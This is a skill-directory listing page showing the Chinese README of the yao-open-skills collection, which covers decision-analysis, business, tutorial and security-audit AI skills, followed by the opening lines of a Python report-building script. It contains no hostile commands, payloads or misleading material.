Skip to content
Back to search

yao-open-skills

OpenYao public skills collection: reusable AI assets for decision-making, business analysis, tutorials, research evidence gathering, and document generation.

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked yesterday
Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/yaojingang--yao-open-skills/badge.svg)](/listings/yaojingang--yao-open-skills)

HTML

<a href="/listings/yaojingang--yao-open-skills"><img src="/api/listings/yaojingang--yao-open-skills/badge.svg" alt="findsafeskills safety rating" /></a>

Install

i

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

README.md · README · 370 lines
  1. # Yao Open Skills
  2. 一个面向研究、决策、商业分析、学习和文档生成的公开 Skill 合集。
  3. `OpenYao` 延续 `YAO = Yielding AI Outcomes` 这条方法线。重点不是继续堆更多 prompt 文本,而是把有效的方法、流程、评估、审美约束和执行边界沉淀成可复用的 AI 资产,并最终产生真实可交付的结果。
  4. 这个仓库收录的是已经整理成公开版本的 AI Skill。它们面向真实工作场景,比如把不确定决策整理成报告,把商业问题拆成结构化分析,把主题、资料包或参考材料生产成教程文档。
  5. 这个仓库主要承担三件事:
  6. - 对外展示已经整理好的公开 Skill,并提供说明文档和源码入口。
  7. - 记录每个 Skill 的收录路径、公开状态和同步状态。
  8. - 作为后续版本迭代的发布入口,在确认更新后同步推送到 GitHub。
  9. 如果只是想找能用的 Skill,先看 [HTML 导航页](https://yaojingang.github.io/yao-open-skills/) 或 [Skill 导航目录](#skill-导航目录)。如果想理解 `OpenYao` 背后的方法论,再看 [推荐入口](#推荐入口) 和 [OpenYao 理念](#openyao-理念)。
  10. ## 快速入口
  11. - [OpenYao 理念](#openyao-理念)
  12. - [推荐入口](#推荐入口)
  13. - [HTML 导航页](https://yaojingang.github.io/yao-open-skills/)
  14. - [Skill 导航目录](#skill-导航目录)
  15. - [重点 Skill 速览](#重点-skill-速览)
  16. - [已发布 Skill 说明](#已发布-skill-说明)
  17. - [规划中的能力线](#规划中的能力线)
  18. - [发布规则](docs/publishing-rules.md)
  19. - [HTML 导航页维护](docs/html-navigation.md)
  20. - [命名规范](docs/naming-conventions.md)
  21. - [仓库设计](docs/repository-design.md)
  22. ## OpenYao 理念
  23. `yao-open-skills` 想公开的不是“零散 prompt 收藏”,而是一套更稳定的 AI 资产观:
  24. - Skill 应该服务真实任务结果,而不是只服务对话过程。
  25. - Skill 应该可复用、可维护、可评估,而不是一次性技巧。
  26. - Skill 应该能沉淀为团队资产,而不是停留在个人记忆和聊天记录里。
  27. - 开源合集应该强调方法质量、边界清晰和持续演进,而不是数量堆叠。
  28. 换句话说,`OpenYao` 是把 `YAO` 的方法论往公开知识库推进一步:让那些值得分享的 Skill,不只存在于本地,而是成为可以被发现、引用、改进和复用的公开能力集合。
  29. ## 规划中的能力线
  30. 这部分展示的是 `OpenYao` 计划长期建设的能力线,风格上会尽量保持“功能导向 + 动词感”,避免命名体系散掉。
  31. **Skill Doctor**,诊断 Skill 和 AI 工作台配置面的安全风险,已作为 [`yao-doctor-skill`](docs/skills/yao-doctor-skill.md) 收录。
  32. **Skill Optimizer**,优化 Skill 的结构、执行效果和可维护性。
  33. **Skill Ranker**,基于真实效果评估和排序 Skill。
  34. 这些名称代表的是产品方向,不等于它们现在都已经全部作为独立 Skill 收录进仓库。当前仓库会把“已发布能力”和“规划中的能力线”区分开维护。
  35. ## 推荐入口
  36. 如果你想理解 `OpenYao` 背后的元方法,优先看 [`yao-meta-skill`](https://github.com/yaojingang/yao-meta-skill)。
  37. 这是 `YAO` 方法线里的元 Skill 项目,用来把工作流、提示词、笔记和执行经验,进一步沉淀成可创建、可评估、可治理、可打包的 Skill 资产。
  38. 在这两个仓库之间,关系可以简单理解为:
  39. - [`yao-meta-skill`](https://github.com/yaojingang/yao-meta-skill): 定义如何系统化地创建、评估、治理和打包 Skill
  40. - [`yao-open-skills`](https://github.com/yaojingang/yao-open-skills): 收录那些已经值得公开分享的 Skill 成果
  41. 如果把 `yao-meta-skill` 理解成“元方法引擎”,那么 `yao-open-skills` 更像“公开产品化陈列层”。
  42. ## 仓库目标
  43. - 把零散的本地 Skill 整理成一个稳定的公开合集。
  44. - 为每个公开 Skill 保留清晰的来源、收录路径、同步状态和许可证信息。
  45. - 用统一规则筛选 Skill,避免把私有数据、输出产物和实验垃圾一起推到公开仓库。
  46. - 让 `YAO` 方法论下真正有价值的 Skill 形成一个持续演进的公开资产库。
  47. ## 公开收录标准
  48. - 主题清晰:别人看到 Skill 名称和说明就知道它解决什么问题。
  49. - 可复用:不依赖你个人电脑上的私有上下文才能运行。
  50. - 可清理:能移除敏感信息、缓存、输出物、账号痕迹和内部文档。
  51. - 可维护:你愿意继续修复、迭代和解释它。
  52. 详细规则见:
  53. - [docs/repository-design.md](docs/repository-design.md)
  54. - [docs/naming-conventions.md](docs/naming-conventions.md)
  55. - [docs/publishing-rules.md](docs/publishing-rules.md)
  56. ## 目录结构
  57. ```text
  58. yao-open-skills/
  59. ├── index.html
  60. ├── assets/
  61. ├── README.md
  62. ├── docs/
  63. ├── registry/
  64. ├── scripts/
  65. └── skills/
  66. ```
  67. - `index.html`: GitHub Pages 使用的 HTML 导航页。
  68. - `assets/`: HTML 导航页的 CSS 和 JS 静态资源。
  69. - `docs/`: 仓库设计、发布规则、同步规范。
  70. - `registry/`: Skill 登记表,是本地和公开状态的事实源。
  71. - `scripts/`: 更新登记表和 README 的辅助脚本。
  72. - `skills/`: 真正收录进公开合集的 Skill 副本。
  73. ## 已发布 Skill 说明
  74. - [说明文档索引](docs/skills/README.md)
  75. - [Yao Open Skills Sync](docs/skills/yao-open-skills-sync.md)
  76. - [Yao Bayesian Skill](docs/skills/yao-bayesian-skill.md)
  77. - [Yao Business Skill](docs/skills/yao-business-skill.md)
  78. - [Yao Copyright Skill](docs/skills/yao-copyright-skill.md)
  79. - [Yao Crux Skill](docs/skills/yao-crux-skill.md)
  80. - [Yao Demand Skill](docs/skills/yao-demand-skill.md)
  81. - [Yao Doctor Skill](docs/skills/yao-doctor-skill.md)
  82. - [Yao Expert Skill](docs/skills/yao-expert-skill.md)
  83. - [Yao Game Theory Skill](docs/skills/yao-gametheory-skill.md)
  84. - [Yao Kelly Skill](docs/skills/yao-kelly-skill.md)
  85. - [Yao Naval Almanack Skill](docs/skills/yao-naval-almanack-skill.md)
  86. - [Yao Tutorial Skill](docs/skills/yao-tutorial-skill.md)
  87. - [Yao WeRead Skill](docs/skills/yao-weread-skill.md)
  88. - [Yao Websecurity Skill](docs/skills/yao-websecurity-skill.md)
  89. ## 重点 Skill 速览
  90. ### Yao Naval Almanack Skill
  91. [`yao-naval-almanack-skill`](docs/skills/yao-naval-almanack-skill.md) 用《纳瓦尔宝典》的专长、杠杆、判断力与幸福观,分析职业选择、服务产品化、长期合作和目标取舍。
  92. - 从工作记录中提炼可复用成果、重复消耗与下一步行动。
  93. - 提供 36 个正文小节的原创中文知识卡、28 个应用场景、来源索引和使用边界。
  94. - 描述支持相关自然问题的意图匹配,实际调用由客户端的加载与选择机制决定。
  95. - 回答结合用户事实,给出判断、出处、行动与改判条件。
  96. 从 [使用指南](docs/skills/yao-naval-almanack-skill.md)、[中文 README](skills/yao-naval-almanack-skill/README.md) 或 [English README](skills/yao-naval-almanack-skill/README.en.md) 开始。
  97. ### Yao Crux Skill
  98. [`yao-crux-skill`](docs/skills/yao-crux-skill.md) 是一个面向复杂现实问题的主次矛盾诊断 Skill。
  99. 它会先判断用户当前现状是否足够清楚,再把看得见的问题、看不见的根部变量、主要矛盾、次要矛盾、主要方面、行动建议和结果概率组织成一份可复盘的诊断报告。
  100. 它的公开版本现在有这些比较突出的特点:
  101. - 先做现状清晰度判断,信息不足时优先追问,不急着输出结论
  102. - 用 `决定性`、`牵引性`、`阶段性` 解释主要矛盾判断,再用主次矛盾、第一性原理、贝叶斯式证据更新和奥卡姆剃刀辅助校验
  103. - 区分内部可改变结构、外部硬条件,以及外因如何通过内因起作用
  104. - 明确区分 `主要矛盾(最关键的卡点)` 和 `次要矛盾(先不主攻,但要盯住)`
  105. - 当主要矛盾足够清楚时,更激进地把 50%-70% 高杠杆资源压到主攻线
  106. - 每个结论都带反转条件、复盘时间和下一阶段主要矛盾可能转移的信号
  107. - 报告包含分析流程图、照片式冰山模型、矛盾候选矩阵、资源倾斜图和动态阶段迁移图
  108. - 默认生成 `Markdown + HTML + DOCX + PDF + report JSON`
  109. - 公开仓库包含三个虚构业务示例和可下载参考资料,真实案例和私有输入不进入仓库
  110. 如果你想快速理解这个 Skill,建议按这个顺序看:
  111. 1. [公开说明文档](docs/skills/yao-crux-skill.md)
  112. 2. [中文目录说明](skills/yao-crux-skill/README.md)
  113. 3. [英文 README](skills/yao-crux-skill/README.en.md)
  114. 4. [Skill 入口](skills/yao-crux-skill/SKILL.md)
  115. 5. [追问与现状清晰度](skills/yao-crux-skill/references/intake-and-questioning.md)
  116. 6. [理论锚点与规则](skills/yao-crux-skill/references/theory-anchors.md)
  117. 7. [主次矛盾判断模型](skills/yao-crux-skill/references/contradiction-model.md)
  118. 8. [报告导出流程](skills/yao-crux-skill/references/report-export-pipeline.md)
  119. 9. [虚构示例报告](skills/yao-crux-skill/reports/github-examples/README.md)
  120. 10. [参考资料下载](skills/yao-crux-skill/reference-materials/README.md)
  121. ### Yao WeRead Skill
  122. [`yao-weread-skill`](docs/skills/yao-weread-skill.md) 是一个面向微信读书数据的个人阅读可视化报告 Skill。
  123. 它会把近两年的阅读时长、阅读节律、书架资产、内容偏好和笔记语义组织成一份可直接打开的 HTML 报告。相比简单统计阅读分钟数,它更关注“你如何读书、读什么、在哪些书上留下了想法”。
  124. 它的公开版本现在有这些比较突出的特点:
  125. - 默认生成 26 个图表模块,覆盖月度阅读、星期节律、累计阅读、读得最久的书、分类雷达、作者/出版社偏好、书架构成、笔记类型、进度散点、词云和笔记时间线
  126. - 支持真实微信读书账号报告,也支持无需账号的 AI 创业者示例画像
  127. - 使用 `/readdata/detail`、`/shelf/sync`、`/user/notebooks`、`/book/bookmarklist` 和 `/review/list/mine` 组合出完整数据视图
  128. - 词云优先保留高信号领域词,并过滤常见中文分词碎片
  129. - HTML 报告采用温暖纸面、墨蓝强调和紧凑证据卡片,适合本地浏览、截图和归档
  130. - API Key 只从环境变量读取,真实报告默认不进入公开仓库
  131. 如果你想快速理解这个 Skill,建议按这个顺序看:
  132. 1. [公开说明文档](docs/skills/yao-weread-skill.md)
  133. 2. [目录说明](skills/yao-weread-skill/README.md)
  134. 3. [Skill 入口](skills/yao-weread-skill/SKILL.md)
  135. 4. [图表目录](skills/yao-weread-skill/references/chart-catalog.md)
  136. 5. [数据契约](skills/yao-weread-skill/references/data-contract.md)
  137. 6. [生成脚本](skills/yao-weread-skill/scripts/generate_weread_report.py)
  138. 7. [AI 创业者版示例报告](skills/yao-weread-skill/examples/ai-founder-report/weread-report.html)
  139. ### Yao Websecurity Skill
  140. [`yao-websecurity-skill`](docs/skills/yao-websecurity-skill.md) 是一个面向授权网站、SaaS、API、AI 应用、本地代码目录和 GitHub 仓库的安全审查 Skill。
  141. 它不是简单调用扫描器,而是先理解系统代码、路由、认证、数据模型、部署配置、依赖和 AI/LLM 集成,再从 `V001-V275` 漏洞本体中筛选真正相关的检查项,最后输出可复核的安全评分表和审查报告。
  142. 它的公开版本现在有这些比较突出的特点:
  143. - 内置 275 个网站安全检查项,覆盖访问控制、认证会话、API、XSS、CSRF、SSRF、文件上传、依赖、容器、CI/CD、数据库、缓存、AI/RAG/LLM 等风险域
  144. - 支持 `static`、`dynamic-safe`、`dynamic-active`、`online-authorized` 和 `hybrid` 多种审查模式
  145. - 本地代码和 GitHub 仓库都必须先复制或克隆到全新的临时目录,构建、运行、测试和报告生成都在隔离工作区内完成
  146. - 动态主动测试按授权开关控制,盲 SSRF/OOB、暴力破解、文件变更、数据库写入和资源压力测试默认只允许在隔离临时部署内执行
  147. - 报告默认中文,输出 `Excel + HTML + Markdown + PDF + sanitized JSON`
  148. - HTML 支持中英切换和粘性顶部导航;Excel 使用中文状态、中文解释和工程分派友好的评分表
  149. - 渲染前会清洗本地绝对路径、Cookie、Bearer Token、API Key、密码、私钥和长 token-like 字符串
  150. 如果你想快速理解这个 Skill,建议按这个顺序看:
  151. 1. [公开说明文档](docs/skills/yao-websecurity-skill.md)
  152. 2. [Skill 入口](skills/yao-websecurity-skill/SKILL.md)
  153. 3. [目录说明](skills/yao-websecurity-skill/README.md)
  154. 4. [审查模式](skills/yao-websecurity-skill/references/review-modes.md)
  155. 5. [报告契约](skills/yao-websecurity-skill/references/report-contract.md)
  156. 6. [漏洞本体](skills/yao-websecurity-skill/references/vulnerability-ontology.csv)
  157. 7. [报告脚本](skills/yao-websecurity-skill/scripts/security_audit_report.py)
  158. 8. [虚构示例报告](skills/yao-websecurity-skill/examples/fictional-starbridge-audit/README.md)
  159. ### Yao Tutorial Skill
  160. [`yao-tutorial-skill`](docs/skills/yao-tutorial-skill.md) 是一个“从主题或资料包到完整教程成品”的生产型 Skill。
  161. 它不是简单帮你写一篇说明文,而是把输入主题、用户给定资料、权威来源、论文、GitHub 实践和案例证据组织成一套可交付教程包:先归一化需求,再做研究取证,再生成面向小白的章节大纲,最后输出带配图的 `Markdown + Word + PDF + HTML`。
  162. 它的公开版本现在有这些比较突出的特点:
  163. - 支持只输入一个主题,也支持输入一组资料、链接、论文、仓库或草稿
  164. - 优先以用户给定资料为核心,资料不足时再补充外部权威来源
  165. - 面向新手写作,标题有用户利益,大纲说人话,章节结构通俗、可执行
  166. - 公开成品不显示 `[U1]`、`[X1]` 这类内部证据角标,也不写“基于原文整理”
  167. - 每个章节都必须有一张对应的可视化配图
  168. - 配图先生成 HTML 画板,再截图嵌入教程内容
  169. - HTML 报告支持居中内容容器、左侧目录、日期、章节跳转和清爽阅读排版
  170. - Word/PDF 默认去掉页眉页脚,避免导出路径、页码和浏览器打印信息干扰阅读
  171. - 内置验证脚本,检查章节、配图、引用、导出文件和本地路径泄漏
  172. 如果你想快速理解这个 Skill,建议按这个顺序看:
  173. 1. [公开说明文档](docs/skills/yao-tutorial-skill.md)
  174. 2. [Skill 入口](skills/yao-tutorial-skill/SKILL.md)
  175. 3. [输入适配规则](skills/yao-tutorial-skill/references/input-adaptation.md)
  176. 4. [教程写作规则](skills/yao-tutorial-skill/references/tutorial-outline-and-writing.md)
  177. 5. [可视化画板规则](skills/yao-tutorial-skill/references/visual-html-workflow.md)
  178. 6. [导出与验证脚本](skills/yao-tutorial-skill/scripts/validate_package.py)
  179. ### Yao Bayesian Skill
  180. [`yao-bayesian-skill`](docs/skills/yao-bayesian-skill.md) 是当前公开合集里最完整的一类“证据到行动”型 Skill。
  181. 它的重点不是把贝叶斯定理讲一遍,而是把一个现实里的不确定问题,压缩成一个能执行、能复盘、能继续迭代的决策流程。
  182. 它的公开版本现在有这些比较突出的特点:
  183. - 支持从不完整输入开始,先给弱先验和初步判断
  184. - 支持多轮追问,持续更新先验、后验和决策准备度
  185. - 内置贝叶斯先验检查,从 20 条生活判断原则中挑出本次最相关的 3 到 5 条
  186. - 会记录每一轮对话里,哪些信息改变了判断
  187. - 报告先给普通用户可读的结论,再展示技术细节
  188. - 默认生成 `Markdown + 双语 HTML`
  189. - HTML 支持中英切换、粘性导航、打印,以及在浏览器里直接存储为 PDF
  190. 如果你想快速理解这个 Skill,建议按这个顺序看:
  191. 1. [公开说明文档](docs/skills/yao-bayesian-skill.md)
  192. 2. [Skill 入口](skills/yao-bayesian-skill/SKILL.md)
  193. 3. [详细案例输入](skills/yao-bayesian-skill/input/detailed_growth_case.json)
  194. 4. [导出脚本](skills/yao-bayesian-skill/scripts/generate_report_bundle.py)
  195. 5. [示例报告目录](skills/yao-bayesian-skill/reports/README.md)
  196. ### Yao Game Theory Skill
  197. [`yao-gametheory-skill`](docs/skills/yao-gametheory-skill.md) 是一个面向竞争、谈判、联盟、渠道、平台和竞品反击的博弈论战略报告 Skill。
  198. 它适合所有“我们的动作会引发对手反应”的场景:价格战、渠道冲突、竞品反击、平台生态、融资谈判、并购竞价、市场进入、联盟合作和监管沟通。
  199. 它不会把博弈论当成教材概念堆叠,而是把 CEO 问题转成玩家、策略、收益、时序、信号、承诺和均衡检查,重点回答:
  200. - 对手可能怎么反应
  201. - 我们的承诺动作是否可信
  202. - 哪个策略在对手反应之后仍然更稳
  203. 它的设计原理是:先识别玩家、策略、收益、约束和行动时序,再路由到合适的博弈框架组合,最后把模型转成管理层能直接使用的战略报告。
  204. 它的公开版本现在有这些比较突出的特点:
  205. - 内置框架目录和 AI 应用路由器,覆盖纳什均衡、囚徒困境、零和、协调、鹰鸽、猎鹿、进入威慑、Stackelberg、Bertrand/Cournot、信号、重复博弈、拍卖、联盟和机制设计
  206. - 按场景组合框架,而不是机械套概念;例如价格战会组合 Bertrand、囚徒困境、重复博弈和可信承诺
  207. - 新增真实历史行为校正层,用过往威胁兑现率、免费版投入、渠道攻击历史和经验参考来调整对手理性概率,避免高估对手的时间一致性
  208. - 支持从不完整战略输入开始,先建立可更新的弱模型
  209. - 对价格战、渠道冲突、平台生态、并购竞价、融资谈判、竞品免费版和监管沟通都有明确路由
  210. - 报告前置推荐动作、对手反应地图、收益矩阵、历史行为校正、承诺可信度、策略准备度和敏感性检查
  211. - 支持后续对手新动作并入原案例后重跑报告
  212. - 默认生成 `Markdown + HTML + Word + PDF + canonical JSON`
  213. - Word/PDF 宽表格已做横向页面、真实表格、固定宽度和安全换行处理
  214. 如果你想快速理解这个 Skill,建议按这个顺序看:
  215. 1. [目录说明](skills/yao-gametheory-skill/README.md)
  216. 2. [公开说明文档](docs/skills/yao-gametheory-skill.md)
  217. 3. [Skill 入口](skills/yao-gametheory-skill/SKILL.md)
  218. 4. [框架目录与 AI 路由器](skills/yao-gametheory-skill/references/framework-catalog.md)
  219. 5. [价格战示例输入](skills/yao-gametheory-skill/input/price_war_case.json)
  220. 6. [导出脚本](skills/yao-gametheory-skill/scripts/generate_report_bundle.py)
  221. 7. [示例报告目录](skills/yao-gametheory-skill/reports/README.md)
  222. ## 工作流
  223. 1. 你给出一个本地 Skill 路径。
  224. 2. 按规则判断这个 Skill 是否适合公开。
  225. 3. 清理敏感文件和无关产物后,复制到 `skills/<slug>/`。
  226. 4. 在 `registry/skills.json` 写入或更新登记信息。
  227. 5. 运行 README 渲染脚本,刷新合集说明页。
  228. 6. 如果你要发布,再把仓库推到 GitHub 的 `yao-open-skills`。
  229. ## GitHub 发布约定
  230. - GitHub 仓库名固定为 `yao-open-skills`。
  231. - 本地集合完成变更后,先更新 `registry/skills.json` 和 README,再执行 Git 提交与推送。
  232. - 只有实际完成推送后,相关 Skill 才能标记为 `published`,并写入 `last_synced_at`。
  233. - 如果后续本地源 Skill 有变化,但 GitHub 还没更新,对应记录应标记为 `needs-update`。
  234. ## 本地管理 Skill
  235. 这个仓库内置了一个管理 Skill:
  236. - [skills/yao-open-skills-sync/SKILL.md](skills/yao-open-skills-sync/SKILL.md)
  237. 它的职责是:
  238. - 接收你给的本地 Skill 路径。
  239. - 判断是否适合公开。
  240. - 按合集规则导入到 `yao-open-skills`。
  241. - 维护登记表和 README 目录页。
  242. - 记录这个 Skill 是否已经同步到 GitHub,以及线上对应路径。
  243. ## Skill 导航目录
  244. <!-- catalog:start -->
  245. 这个目录从 `registry/skills.json` 自动生成,优先帮助读者判断每个 Skill 解决什么问题,以及从哪里开始阅读。
  246. | Skill | 简体中文说明 | 主题标签 | 导航 |
  247. | --- | --- | --- | --- |
  248. | [Yao Bayesian Skill](skills/yao-bayesian-skill/SKILL.md)<br><sub>`yao-bayesian-skill`</sub> | 把不确定选择转成可复盘的贝叶斯决策报告,覆盖先验设定、证据分级、后验更新、行动阈值和 Markdown/HTML 输出。 | `贝叶斯`、`决策分析`、`先验校验`、`报告` 等 | [说明](docs/skills/yao-bayesian-skill.md) · [Skill](skills/yao-bayesian-skill/SKILL.md) · [目录](skills/yao-bayesian-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-bayesian-skill) |
  249. | [Yao Business Skill](skills/yao-business-skill/SKILL.md)<br><sub>`yao-business-skill`</sub> | 围绕商业模式设计、诊断和案例研究,输出市场环境适配、竞品分析、图表报告和 AI 时代升级建议。 | `商业模式`、`战略`、`诊断`、`竞争` 等 | [说明](docs/skills/yao-business-skill.md) · [Skill](skills/yao-business-skill/SKILL.md) · [目录](skills/yao-business-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-business-skill) |
  250. | [Yao Cold Ledger Skill](skills/yao-cold-ledger-skill/SKILL.md)<br><sub>`yao-cold-ledger-skill`</sub> | 分析或创作冷账叙事中文关系故事,用精确数字、工序、物件回环、克制对白和留白承载情绪,并内置原创距离与事实边界检查。 | `冷账叙事`、`叙事`、`写作`、`文风分析` 等 | [说明](docs/skills/yao-cold-ledger-skill.md) · [Skill](skills/yao-cold-ledger-skill/SKILL.md) · [目录](skills/yao-cold-ledger-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-cold-ledger-skill) |
  251. | [Yao Copyright Skill](skills/yao-copyright-skill/SKILL.md)<br><sub>`yao-copyright-skill`</sub> | 为 Skill 包批量添加姚金刚版权注释,并避免破坏 SKILL.md frontmatter、脚本 shebang 和不适合注释的文件。 | `版权`、`Skill`、`发布`、`自动化` 等 | [说明](docs/skills/yao-copyright-skill.md) · [Skill](skills/yao-copyright-skill/SKILL.md) · [目录](skills/yao-copyright-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-copyright-skill) |
  252. | [Yao Crux Skill](skills/yao-crux-skill/SKILL.md)<br><sub>`yao-crux-skill`</sub> | 诊断复杂局面的主次矛盾,澄清现状、识别根部变量、给出主攻行动和结果概率,并导出 Markdown、HTML、DOCX、PDF 报告。 | `决策分析`、`主要矛盾`、`诊断`、`第一性原理` 等 | [说明](docs/skills/yao-crux-skill.md) · [Skill](skills/yao-crux-skill/SKILL.md) · [目录](skills/yao-crux-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-crux-skill) |
  253. | [Yao Demand Skill](skills/yao-demand-skill/SKILL.md)<br><sub>`yao-demand-skill`</sub> | 用需求三角模型评估产品需求,结合证据分级、短板评分、可视化诊断、情景预测和多格式报告输出。 | `需求分析`、`产品`、`验证`、`可视化报告` 等 | [说明](docs/skills/yao-demand-skill.md) · [Skill](skills/yao-demand-skill/SKILL.md) · [目录](skills/yao-demand-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-demand-skill) |
  254. | [Yao Doctor Skill](skills/yao-doctor-skill/SKILL.md)<br><sub>`yao-doctor-skill`</sub> | 审计本地 Skill 库和 AI 工作台配置面,区分能力风险与不安全行为,发现隐私、凭据、外发、远程执行和持久化风险,并生成中英双语 HTML 安全报告。 | `Skill`、`安全`、`审查`、`AI 安全` 等 | [说明](docs/skills/yao-doctor-skill.md) · [Skill](skills/yao-doctor-skill/SKILL.md) · [目录](skills/yao-doctor-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-doctor-skill) |
  255. | [Yao Expert Skill](skills/yao-expert-skill/SKILL.md)<br><sub>`yao-expert-skill`</sub> | 把行业、技术、市场、角色或模糊方向整理成专家学习报告和教程,包含关键词教学卡、学习锚点、费曼自测和多格式导出。 | `专家学习`、`研究`、`行业分析`、`教程` 等 | [说明](docs/skills/yao-expert-skill.md) · [Skill](skills/yao-expert-skill/SKILL.md) · [目录](skills/yao-expert-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-expert-skill) |
  256. | [Yao Game Theory Skill](skills/yao-gametheory-skill/SKILL.md)<br><sub>`yao-gametheory-skill`</sub> | 把竞争、谈判、渠道、定价、平台、并购、融资和监管问题转成博弈论战略报告,分析对手反应、可信承诺和策略稳健性。 | `博弈论`、`战略`、`竞争`、`谈判` 等 | [说明](docs/skills/yao-gametheory-skill.md) · [Skill](skills/yao-gametheory-skill/SKILL.md) · [目录](skills/yao-gametheory-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-gametheory-skill) |
  257. | [Yao Interpreter Skill](skills/yao-interpreter-skill/SKILL.md)<br><sub>`yao-interpreter-skill`</sub> | 静态解读 Agent Skill 目录、SKILL.md 或安全 zip,输出中文优先的双语 HTML 报告、证据链评分、风险审查和改进路线。 | `Skill`、`审查`、`证据`、`报告` 等 | [说明](docs/skills/yao-interpreter-skill.md) · [Skill](skills/yao-interpreter-skill/SKILL.md) · [目录](skills/yao-interpreter-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-interpreter-skill) |
  258. | [Yao Kelly Skill](skills/yao-kelly-skill/SKILL.md)<br><sub>`yao-kelly-skill`</sub> | 把投资、下注或资源配置问题转成保守可执行的凯利配置方案,包含适用性判断、行动包、复盘机制和 HTML 输出。 | `凯利公式`、`资源配置`、`决策分析`、`投资` 等 | [说明](docs/skills/yao-kelly-skill.md) · [Skill](skills/yao-kelly-skill/SKILL.md) · [目录](skills/yao-kelly-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-kelly-skill) |
  259. | [Yao Naval Almanack Skill](skills/yao-naval-almanack-skill/SKILL.md)<br><sub>`yao-naval-almanack-skill`</sub> | 用《纳瓦尔宝典》的专长、杠杆、判断力与幸福观,分析职业选择、服务产品化、长期合作、工作复盘和目标取舍,给出判断、出处、行动与改判条件。 | `纳瓦尔宝典`、`职业选择`、`服务产品化`、`决策分析` 等 | [说明](docs/skills/yao-naval-almanack-skill.md) · [Skill](skills/yao-naval-almanack-skill/SKILL.md) · [目录](skills/yao-naval-almanack-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-naval-almanack-skill) |
  260. | [Yao Open Skills Sync](skills/yao-open-skills-sync/SKILL.md)<br><sub>`yao-open-skills-sync`</sub> | 管理 yao-open-skills 公开合集的收录、登记、同步状态、说明文档和 README 目录更新。 | `目录`、`治理`、`发布` | [说明](docs/skills/yao-open-skills-sync.md) · [Skill](skills/yao-open-skills-sync/SKILL.md) · [目录](skills/yao-open-skills-sync) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-open-skills-sync) |
  261. | [Yao Positioning Skill](skills/yao-positioning-skill/SKILL.md)<br><sub>`yao-positioning-skill`</sub> | 基于《定位》、现代产品定位、课程营销与证据治理,完成竞品研究、需求洞察、D6 优势诊断、定位方案比较和离线可视化报告。 | `定位`、`战略`、`竞争`、`证据` 等 | [说明](docs/skills/yao-positioning-skill.md) · [Skill](skills/yao-positioning-skill/SKILL.md) · [目录](skills/yao-positioning-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-positioning-skill) |
  262. | [Yao Tutorial Skill](skills/yao-tutorial-skill/SKILL.md)<br><sub>`yao-tutorial-skill`</sub> | 把主题、资料包、论文、GitHub 仓库、URL 或草稿生产成新手教程包,包含研究取证、章节配图和 Markdown、DOCX、PDF、HTML 导出。 | `教育`、`教程`、`研究`、`配图` 等 | [说明](docs/skills/yao-tutorial-skill.md) · [Skill](skills/yao-tutorial-skill/SKILL.md) · [目录](skills/yao-tutorial-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-tutorial-skill) |
  263. | [Yao Websecurity Skill](skills/yao-websecurity-skill/SKILL.md)<br><sub>`yao-websecurity-skill`</sub> | 审查授权网站、SaaS、API、AI 应用、本地代码或 GitHub 仓库,基于 275 项漏洞本体输出中文优先的 Excel、HTML、Markdown、PDF 报告。 | `安全`、`网站安全`、`审查`、`SAST` 等 | [说明](docs/skills/yao-websecurity-skill.md) · [Skill](skills/yao-websecurity-skill/SKILL.md) · [目录](skills/yao-websecurity-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-websecurity-skill) |
  264. | [Yao WeRead Skill](skills/yao-weread-skill/SKILL.md)<br><sub>`yao-weread-skill`</sub> | 生成微信读书个人阅读可视化报告,覆盖阅读节律、书架资产、分类偏好、笔记语义、词云和独立 HTML 输出。 | `微信读书`、`阅读分析`、`可视化`、`HTML` 等 | [说明](docs/skills/yao-weread-skill.md) · [Skill](skills/yao-weread-skill/SKILL.md) · [目录](skills/yao-weread-skill) · [GitHub](https://github.com/yaojingang/yao-open-skills/tree/main/skills/yao-weread-skill) |
  265. <!-- catalog:end -->
  266. ## 后续约定
  267. - `registry/skills.json` 是事实源。
  268. - README 中的目录表和 `index.html` 导航页由脚本生成,不手工维护。
  269. - 任何新收录 Skill,都必须先过发布规则,再更新登记表和 README。
  270. - 新增、刷新或发布 Skill 后,运行 `python3 scripts/render_collection_pages.py`,同步刷新 README 和 HTML 导航页。
  271. - 任何准备公开的变更,都应在整理完成后推送到 GitHub 远程仓库。
skills/yao-doctor-skill/scripts/build_public_example_report.py · Bundled script · 447 lines · 2 findings marked
  1. #!/usr/bin/env python3
  2. from __future__ import annotations
  3. import json
  4. from pathlib import Path
  5. from render_security_report import render_html, render_markdown
  6. def capability_hit(category: str, weight: int, count: int, path: str, line: int, excerpt: str, *, protected_surface: str | None = None) -> dict:
  7. return {
  8. "category": category,
  9. "weight": weight,
  10. "count": count,
  11. "evidence": {
  12. "path": path,
  13. "line": line,
  14. "excerpt": excerpt,
  15. "protected_surface": protected_surface,
  16. "protected_surface_weight": 1.0,
  17. },
  18. }
  19. def finding(
  20. category: str,
  21. severity: str,
  22. path: str,
  23. line: int,
  24. message: str,
  25. rationale: str,
  26. action: str,
  27. *,
  28. excerpt: str = "",
  29. source_kind: str = "executable-code",
